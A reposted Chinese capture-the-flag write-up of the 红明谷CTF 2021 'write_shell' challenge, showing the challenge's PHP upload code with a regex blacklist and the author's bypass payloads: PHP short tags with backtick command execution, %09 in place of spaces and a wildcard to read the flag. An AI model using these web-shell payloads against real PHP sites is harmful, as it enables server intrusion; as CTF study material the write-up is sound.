首页 > 系统服务 > 详细

BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??

时间:2021-09-04 04:35:05      阅读:41      评论:0      收藏:0      [点我收藏+]
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/‘| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/‘| |_|=|php/",$input)){
        die(hacker!!!);
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = sandbox/ . md5($_SERVER[REMOTE_ADDR]) . /;
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case pwd:
        echo $dir;
        break;
    case upload:
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

代码审计

check是个 黑名单过滤

waf是调用check对数组检测

最后是get传参,传入action的值有两种情况,

传入pwd打印目录

action=pwd

技术分享图片

action=upload

可以上传data到index.php

 


 

 

思路很简单了上传一句话木马即可

正则过滤了:“/‘| |_|php|;|~|\\^|\\+|eval|{|}/i"

<?=`ls`?>

看上去过滤很多实际上不是什么都没过滤吗。。。

这里访问pwd下的路径

技术分享图片

<?=`ls%09/`?>

技术分享图片

 

<?=`cat%09/f*`?>

技术分享图片

 

 

 


本质上是个简单题目

实际上准备写一道存储式xss,但是死活收不到cookie,环境貌似有问题

先随便找了到300人的题目,但是没想到这么简单

 

但是还是总结一下吧,首先过滤了php,短标签即可

<?=***?>

空格过滤了%09啥的都可以绕过

至于目标文件文件名带空格,不能用%09,通配符绕过


 

另外一个小知识点:

a?b:c 三目运算符,没啥好说的

a?:b a为真返回 否则返回b

a??b a存在(不为null)返回a,否则返回b

 

BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??

原文:https://www.cnblogs.com/aninock/p/15221334.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!